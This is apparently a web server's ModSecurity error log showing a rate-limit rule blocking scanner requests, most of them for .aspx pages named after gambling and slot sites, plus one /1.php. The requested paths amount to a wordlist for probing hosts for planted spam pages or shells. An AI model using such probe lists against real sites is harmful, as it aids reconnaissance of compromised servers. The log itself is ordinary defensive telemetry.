[Wed Feb 25 00:20:30.891551 2026] [:error] [pid 18458:tid 18807] [client 81.167.26.57:4132] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZ3Pzguir-tBe4tUislqQQAAAo0"]
[Wed Feb 25 00:20:33.410793 2026] [:error] [pid 18441:tid 18708] [client 81.167.26.57:63531] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZ3P0RYF1wpOnXIaHlOGbwAAAMA"]
[Wed Feb 25 00:20:36.086579 2026] [:error] [pid 18458:tid 18810] [client 81.167.26.57:52868] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZ3P1Auir-tBe4tUislqTwAAAo8"]
[Wed Feb 25 00:20:50.853958 2026] [:error] [pid 18850:tid 18862] [client 81.167.26.57:20016] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aZ3P4uDBmHucoAJRnqnTdQAAAAo"]
[Wed Feb 25 00:20:53.507147 2026] [:error] [pid 18441:tid 18733] [client 81.167.26.57:3078] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZ3P5RYF1wpOnXIaHlOGhwAAANg"]
[Wed Feb 25 00:20:56.189902 2026] [:error] [pid 18441:tid 18721] [client 81.167.26.57:62603] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZ3P6BYF1wpOnXIaHlOGjQAAAM0"]
[Wed Feb 25 00:20:58.771250 2026] [:error] [pid 18850:tid 18852] [client 81.167.26.57:9904] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aZ3P6uDBmHucoAJRnqnTiwAAAAA"]
[Wed Feb 25 00:21:01.480914 2026] [:error] [pid 18447:tid 18770] [client 81.167.26.57:26299] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aZ3P7c-TpHVc8yBj5eacUwAAAgc"]
[Wed Feb 25 00:21:03.979691 2026] [:error] [pid 18458:tid 18819] [client 81.167.26.57:27210] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aZ3P7wuir-tBe4tUislqkQAAApg"]
[Wed Feb 25 00:21:06.541488 2026] [:error] [pid 18447:tid 18781] [client 81.167.26.57:55450] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aZ3P8s-TpHVc8yBj5eacWgAAAhI"]
[Wed Feb 25 00:21:09.170076 2026] [:error] [pid 18441:tid 18717] [client 81.167.26.57:39525] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZ3P9RYF1wpOnXIaHlOGpAAAAMk"]
[Wed Feb 25 00:21:11.908493 2026] [:error] [pid 18447:tid 18772] [client 81.167.26.57:2341] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZ3P98-TpHVc8yBj5eacYwAAAgk"]
[Wed Feb 25 00:21:15.230862 2026] [:error] [pid 18458:tid 18813] [client 81.167.26.57:16251] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZ3P-wuir-tBe4tUislqpgAAApI"]
[Wed Feb 25 00:21:17.950969 2026] [:error] [pid 18447:tid 18769] [client 81.167.26.57:22150] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZ3P_c-TpHVc8yBj5eacbgAAAgY"]
[Wed Feb 25 00:21:20.681533 2026] [:error] [pid 18458:tid 18811] [client 81.167.26.57:27441] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZ3QAAuir-tBe4tUislqtAAAApA"]
[Wed Feb 25 00:21:23.235094 2026] [:error] [pid 18850:tid 18876] [client 81.167.26.57:25817] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aZ3QA-DBmHucoAJRnqnTwgAAABg"]
[Wed Feb 25 00:21:25.929891 2026] [:error] [pid 18447:tid 18780] [client 81.167.26.57:4411] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZ3QBc-TpHVc8yBj5eacfAAAAhE"]
[Wed Feb 25 00:21:28.524044 2026] [:error] [pid 18458:tid 18793] [client 81.167.26.57:43144] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZ3QCAuir-tBe4tUislqvAAAAoA"]
[Wed Feb 25 00:21:31.063427 2026] [:error] [pid 18447:tid 18764] [client 81.167.26.57:14778] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZ3QC8-TpHVc8yBj5eacfwAAAgE"]
[Wed Feb 25 00:21:33.792001 2026] [:error] [pid 18458:tid 18800] [client 81.167.26.57:5512] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZ3QDQuir-tBe4tUislqxQAAAoY"]
[Wed Feb 25 00:21:36.514958 2026] [:error] [pid 18447:tid 18777] [client 81.167.26.57:27112] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZ3QEM-TpHVc8yBj5eaciQAAAg4"]
[Wed Feb 25 00:21:39.047862 2026] [:error] [pid 18458:tid 18793] [client 81.167.26.57:55032] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZ3QEwuir-tBe4tUislqyQAAAoA"]
[Wed Feb 25 00:21:41.764791 2026] [:error] [pid 18850:tid 18868] [client 81.167.26.57:53666] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZ3QFeDBmHucoAJRnqnT8QAAABA"]
[Wed Feb 25 00:21:44.467490 2026] [:error] [pid 18458:tid 18810] [client 81.167.26.57:43425] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZ3QGAuir-tBe4tUislq0wAAAo8"]
[Wed Feb 25 00:21:47.169821 2026] [:error] [pid 18441:tid 18708] [client 81.167.26.57:8548] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZ3QGxYF1wpOnXIaHlOGzgAAAMA"]
[Wed Feb 25 00:22:01.241945 2026] [:error] [pid 18447:tid 18780] [client 81.167.26.57:23944] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aZ3QKc-TpHVc8yBj5eacuwAAAhE"]
[Wed Feb 25 00:22:03.825027 2026] [:error] [pid 18850:tid 18866] [client 81.167.26.57:17536] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aZ3QK-DBmHucoAJRnqnUDwAAAA4"]
[Wed Feb 25 00:22:06.537551 2026] [:error] [pid 18458:tid 18800] [client 81.167.26.57:20279] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aZ3QLguir-tBe4tUislq6gAAAoY"]
[Wed Feb 25 00:22:09.240491 2026] [:error] [pid 18441:tid 18719] [client 81.167.26.57:14347] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aZ3QMRYF1wpOnXIaHlOG6gAAAMs"]
[Wed Feb 25 00:22:12.002677 2026] [:error] [pid 18850:tid 18856] [client 81.167.26.57:5103] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aZ3QNODBmHucoAJRnqnUHwAAAAQ"]
[Wed Feb 25 00:22:14.575671 2026] [:error] [pid 18447:tid 18786] [client 81.167.26.57:10867] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aZ3QNs-TpHVc8yBj5eac0AAAAhc"]
[Wed Feb 25 00:22:17.270399 2026] [:error] [pid 18447:tid 18776] [client 81.167.26.57:49064] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZ3QOc-TpHVc8yBj5eac1gAAAg0"]
[Wed Feb 25 00:22:19.792023 2026] [:error] [pid 18441:tid 18732] [client 81.167.26.57:16208] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aZ3QOxYF1wpOnXIaHlOG9gAAANc"]
[Wed Feb 25 00:22:22.474514 2026] [:error] [pid 18447:tid 18780] [client 81.167.26.57:21559] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZ3QPs-TpHVc8yBj5eac4AAAAhE"]
[Wed Feb 25 00:22:25.135427 2026] [:error] [pid 18458:tid 18800] [client 81.167.26.57:17839] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aZ3QQQuir-tBe4tUislrEQAAAoY"]
[Wed Feb 25 00:22:27.603519 2026] [:error] [pid 18441:tid 18715] [client 81.167.26.57:25735] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aZ3QQxYF1wpOnXIaHlOHAQAAAMc"]
[Wed Feb 25 00:22:30.245118 2026] [:error] [pid 18458:tid 18816] [client 81.167.26.57:17683] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aZ3QRguir-tBe4tUislrGgAAApU"]
[Wed Feb 25 00:22:32.732942 2026] [:error] [pid 18441:tid 18718] [client 81.167.26.57:40466] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aZ3QSBYF1wpOnXIaHlOHDQAAAMo"]
[Wed Feb 25 00:22:35.341705 2026] [:error] [pid 18458:tid 18812] [client 81.167.26.57:19636] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZ3QSwuir-tBe4tUislrIwAAApE"]
[Wed Feb 25 00:22:37.840531 2026] [:error] [pid 18850:tid 18859] [client 81.167.26.57:31597] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aZ3QTeDBmHucoAJRnqnUPwAAAAc"]
[Wed Feb 25 00:22:40.457919 2026] [:error] [pid 18458:tid 18809] [client 81.167.26.57:10212] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aZ3QUAuir-tBe4tUislrMgAAAo4"]
[Wed Feb 25 00:22:43.080002 2026] [:error] [pid 18850:tid 18871] [client 81.167.26.57:47059] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aZ3QU-DBmHucoAJRnqnUSwAAABM"]
[Wed Feb 25 00:22:45.557194 2026] [:error] [pid 18458:tid 18805] [client 81.167.26.57:16565] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aZ3QVQuir-tBe4tUislrOQAAAos"]
[Wed Feb 25 00:22:48.174232 2026] [:error] [pid 18458:tid 18803] [client 81.167.26.57:30735] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aZ3QWAuir-tBe4tUislrPAAAAok"]
[Wed Feb 25 00:22:50.650254 2026] [:error] [pid 18458:tid 18796] [client 81.167.26.57:49724] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aZ3QWguir-tBe4tUislrQAAAAoM"]
[Wed Feb 25 00:22:53.148612 2026] [:error] [pid 18850:tid 18858] [client 81.167.26.57:20290] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aZ3QXeDBmHucoAJRnqnUZQAAAAY"]
[Wed Feb 25 00:22:55.777076 2026] [:error] [pid 18458:tid 18795] [client 81.167.26.57:26990] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aZ3QXwuir-tBe4tUislrRwAAAoI"]
[Wed Feb 25 00:23:10.798570 2026] [:error] [pid 18458:tid 18815] [client 81.167.26.57:40021] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aZ3Qbguir-tBe4tUislrbQAAApQ"]
[Wed Feb 25 01:03:31.558118 2026] [:error] [pid 18458:tid 18813] [client 51.68.32.135:44002] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aZ3Z4wuir-tBe4tUisl4TAAAApI"]
[Wed Feb 25 01:03:39.199165 2026] [:error] [pid 18441:tid 18714] [client 51.68.32.135:38004] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aZ3Z6xYF1wpOnXIaHlOOwwAAAMY"]
[Wed Feb 25 01:03:42.255124 2026] [:error] [pid 18447:tid 18764] [client 51.68.32.135:38008] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aZ3Z7s-TpHVc8yBj5eanQwAAAgE"]
[Wed Feb 25 01:03:49.545883 2026] [:error] [pid 18850:tid 18859] [client 51.68.32.135:57874] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aZ3Z9eDBmHucoAJRnqnoWwAAAAc"]
[Wed Feb 25 01:03:58.007105 2026] [:error] [pid 26872:tid 26874] [client 51.68.32.135:48408] [client 51.68.32.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZ3Z_nxLbzvRGuzwKjnM2QAAAEA"]
[Wed Feb 25 02:55:07.716459 2026] [:error] [pid 18458:tid 18799] [client 20.216.146.160:11034] [client 20.216.146.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "aZ30Cwuir-tBe4tUismkOAAAAoU"]
